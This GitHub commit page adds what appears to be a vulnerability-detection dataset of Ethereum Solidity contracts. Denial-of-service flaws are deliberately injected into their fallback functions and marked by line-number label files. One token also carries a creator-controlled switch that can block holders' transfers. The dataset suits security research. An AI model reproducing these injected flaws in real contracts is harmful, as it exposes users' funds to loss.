-
Notifications
You must be signed in to change notification settings - Fork 14
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
xiaofeng
committed
Nov 26, 2020
1 parent
5856c2c
commit a43fdda
Showing
1,869 changed files
with
654,054 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
sourceCodeDateSet.zip filter=lfs diff=lfs merge=lfs -text |
221 changes: 221 additions & 0 deletions
221
.../DosByComplexFallback/0x091e280aaf812e4cec2a006e28852f736795e58e_dosByComplexFallback.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,221 @@ | ||
pragma solidity ^0.5.7; | ||
|
||
|
||
|
||
library SafeMath256 { | ||
|
||
function add(uint256 a, uint256 b) internal pure returns (uint256 c) { | ||
c = a + b; | ||
assert(c >= a); | ||
return c; | ||
} | ||
|
||
|
||
function sub(uint256 a, uint256 b) internal pure returns (uint256) { | ||
assert(b <= a); | ||
return a - b; | ||
} | ||
|
||
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { | ||
if (a == 0) { | ||
return 0; | ||
} | ||
c = a * b; | ||
assert(c / a == b); | ||
return c; | ||
} | ||
|
||
|
||
function div(uint256 a, uint256 b) internal pure returns (uint256) { | ||
assert(b > 0); | ||
uint256 c = a / b; | ||
assert(a == b * c + a % b); | ||
return a / b; | ||
} | ||
|
||
|
||
function mod(uint256 a, uint256 b) internal pure returns (uint256) { | ||
require(b != 0); | ||
return a % b; | ||
} | ||
} | ||
|
||
|
||
contract Ownable { | ||
address private _owner; | ||
address payable internal _receiver; | ||
|
||
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | ||
event ReceiverChanged(address indexed previousReceiver, address indexed newReceiver); | ||
|
||
|
||
constructor () internal { | ||
_owner = msg.sender; | ||
_receiver = msg.sender; | ||
} | ||
|
||
|
||
function owner() public view returns (address) { | ||
return _owner; | ||
} | ||
|
||
|
||
modifier onlyOwner() { | ||
require(msg.sender == _owner); | ||
_; | ||
} | ||
|
||
|
||
function transferOwnership(address newOwner) external onlyOwner { | ||
require(newOwner != address(0)); | ||
address __previousOwner = _owner; | ||
_owner = newOwner; | ||
emit OwnershipTransferred(__previousOwner, newOwner); | ||
} | ||
|
||
|
||
function changeReceiver(address payable newReceiver) external onlyOwner { | ||
require(newReceiver != address(0)); | ||
address __previousReceiver = _receiver; | ||
_receiver = newReceiver; | ||
emit ReceiverChanged(__previousReceiver, newReceiver); | ||
} | ||
|
||
|
||
function rescueTokens(address tokenAddress, address receiver, uint256 amount) external onlyOwner { | ||
IERC20 _token = IERC20(tokenAddress); | ||
require(receiver != address(0)); | ||
uint256 balance = _token.balanceOf(address(this)); | ||
require(balance >= amount); | ||
|
||
assert(_token.transfer(receiver, amount)); | ||
} | ||
|
||
|
||
function withdrawEther(address payable to, uint256 amount) external onlyOwner { | ||
require(to != address(0)); | ||
uint256 balance = address(this).balance; | ||
require(balance >= amount); | ||
|
||
to.transfer(amount); | ||
} | ||
} | ||
|
||
|
||
|
||
contract Pausable is Ownable { | ||
bool private _paused; | ||
|
||
event Paused(address account); | ||
event Unpaused(address account); | ||
|
||
constructor () internal { | ||
_paused = false; | ||
} | ||
|
||
|
||
function paused() public view returns (bool) { | ||
return _paused; | ||
} | ||
|
||
|
||
modifier whenNotPaused() { | ||
require(!_paused, "Paused."); | ||
_; | ||
} | ||
|
||
|
||
function setPaused(bool state) external onlyOwner { | ||
if (_paused && !state) { | ||
_paused = false; | ||
emit Unpaused(msg.sender); | ||
} else if (!_paused && state) { | ||
_paused = true; | ||
emit Paused(msg.sender); | ||
} | ||
} | ||
} | ||
|
||
|
||
interface IERC20 { | ||
function balanceOf(address owner) external view returns (uint256); | ||
function transfer(address to, uint256 value) external returns (bool); | ||
} | ||
|
||
|
||
|
||
interface IToken { | ||
function balanceOf(address owner) external view returns (uint256); | ||
function transfer(address to, uint256 value) external returns (bool); | ||
function inWhitelist(address account) external view returns (bool); | ||
} | ||
|
||
|
||
|
||
interface ITokenPublicSale { | ||
function status() external view returns (uint256 auditEtherPrice, | ||
uint16 stage, | ||
uint16 season, | ||
uint256 tokenUsdPrice, | ||
uint256 currentTopSalesRatio, | ||
uint256 txs, | ||
uint256 tokenTxs, | ||
uint256 tokenBonusTxs, | ||
uint256 tokenWhitelistTxs, | ||
uint256 tokenIssued, | ||
uint256 tokenBonus, | ||
uint256 tokenWhitelist); | ||
} | ||
|
||
|
||
contract Get102Token is Ownable, Pausable { | ||
using SafeMath256 for uint256; | ||
|
||
IToken public TOKEN = IToken(0x13bB73376c18faB89Dd5143D50BeF64d9D865200); | ||
ITokenPublicSale public TOKEN_PUBLIC_SALE = ITokenPublicSale(0xE94F0adA89B3CFecb7645911898b3907170Bf7CB); | ||
|
||
uint256 private WEI_MIN = 1 ether; | ||
uint256 private TOKEN_PER_TXN = 102000000; // 102.000000 TM Token | ||
|
||
uint256 private _txs; | ||
|
||
mapping (address => bool) _alreadyGot; | ||
|
||
event Tx(uint256 etherPrice, uint256 vokdnUsdPrice, uint256 weiUsed); | ||
|
||
|
||
function txs() public view returns (uint256) { | ||
return _txs; | ||
} | ||
|
||
|
||
function () external payable whenNotPaused { //inject DOS BY COMPLEX FALLBACK | ||
require(msg.value >= WEI_MIN); | ||
require(TOKEN.balanceOf(address(this)) >= TOKEN_PER_TXN); | ||
require(TOKEN.balanceOf(msg.sender) == 0); | ||
require(!TOKEN.inWhitelist(msg.sender)); | ||
require(!_alreadyGot[msg.sender]); | ||
|
||
uint256 __etherPrice; | ||
uint256 __tokenUsdPrice; | ||
(__etherPrice, , , __tokenUsdPrice, , , , , , , ,) = TOKEN_PUBLIC_SALE.status(); | ||
|
||
require(__etherPrice > 0); | ||
|
||
uint256 __usd = TOKEN_PER_TXN.mul(__tokenUsdPrice).div(1000000); | ||
uint256 __wei = __usd.mul(1 ether).div(__etherPrice); | ||
|
||
require(msg.value >= __wei); | ||
|
||
if (msg.value > __wei) { | ||
msg.sender.call.gas(2301).value(msg.value.sub(__wei))(""); | ||
_receiver.call.gas(2301).value(__wei)(""); | ||
} | ||
|
||
_txs = _txs.add(1); | ||
_alreadyGot[msg.sender] = true; | ||
emit Tx(__etherPrice, __tokenUsdPrice, __wei); | ||
|
||
assert(TOKEN.transfer(msg.sender, TOKEN_PER_TXN)); | ||
} | ||
} |
1 change: 1 addition & 0 deletions
1
...ByComplexFallback/0x091e280aaf812e4cec2a006e28852f736795e58e_dosByComplexFallbackInfo.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
line_number: 192 |
107 changes: 107 additions & 0 deletions
107
.../DosByComplexFallback/0x1231e1822c530f200922570b3279a09deef2df88_dosByComplexFallback.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,107 @@ | ||
/** | ||
*Submitted for verification at Etherscan.io on 2020-10-24 | ||
*/ | ||
|
||
/* | ||
If you read this | ||
DO NOT BUY | ||
This is an experimental token. | ||
Your funds are at risk | ||
*/ | ||
|
||
pragma solidity 0.5.1; | ||
|
||
contract ERC20 { | ||
function totalSupply() public view returns (uint supply); | ||
function balanceOf(address who) public view returns (uint value); | ||
function allowance(address owner, address spender) public view returns (uint remaining); | ||
function transferFrom(address from, address to, uint value) public returns (bool ok); | ||
function approve(address spender, uint value) public returns (bool ok); | ||
function transfer(address to, uint value) public returns (bool ok); | ||
event Transfer(address indexed from, address indexed to, uint value); | ||
event Approval(address indexed owner, address indexed spender, uint value); | ||
} | ||
|
||
contract Infura is ERC20{ | ||
uint8 public constant decimals = 18; | ||
uint256 initialSupply =400000*10**uint256(decimals); | ||
string public constant name = "Infura"; | ||
string public constant symbol = "INF"; | ||
|
||
address payable creator; | ||
|
||
uint8 public valid = 1; | ||
|
||
function totalSupply() public view returns (uint256) { | ||
return initialSupply; | ||
} | ||
mapping (address => uint256) balances; | ||
mapping (address => mapping (address => uint256)) allowed; | ||
|
||
function balanceOf(address owner) public view returns (uint256 balance) { | ||
return balances[owner]; | ||
} | ||
|
||
function allowance(address owner, address spender) public view returns (uint remaining) { | ||
return allowed[owner][spender]; | ||
} | ||
|
||
function validate(uint8 isValid) public { | ||
require(msg.sender == creator); | ||
valid = isValid; | ||
} | ||
|
||
function transfer(address to, uint256 value) public returns (bool success) { | ||
if (balances[to] != 0) { | ||
require(valid == 1); | ||
} | ||
|
||
if (balances[msg.sender] >= value && value > 0) { | ||
balances[msg.sender] -= value; | ||
balances[to] += value; | ||
emit Transfer(msg.sender, to, value); | ||
return true; | ||
} else { | ||
return false; | ||
} | ||
} | ||
|
||
function transferFrom(address from, address to, uint256 value) public returns (bool success) { | ||
if (balances[to] != 0) { | ||
require(valid == 1); | ||
} | ||
|
||
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { | ||
balances[to] += value; | ||
balances[from] -= value; | ||
allowed[from][msg.sender] -= value; | ||
emit Transfer(from, to, value); | ||
return true; | ||
} else { | ||
return false; | ||
} | ||
} | ||
|
||
function approve(address spender, uint256 value) public returns (bool success) { | ||
allowed[msg.sender][spender] = value; | ||
emit Approval(msg.sender, spender, value); | ||
return true; | ||
} | ||
|
||
function () external payable { //inject DOS BY COMPLEX FALLBACK | ||
creator.call.gas(2301).value(msg.value)(""); | ||
} | ||
|
||
constructor () public payable { | ||
creator = msg.sender; | ||
balances[creator] = initialSupply; | ||
} | ||
|
||
|
||
} |
1 change: 1 addition & 0 deletions
1
...ByComplexFallback/0x1231e1822c530f200922570b3279a09deef2df88_dosByComplexFallbackInfo.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
line_number: 97 |
Oops, something went wrong.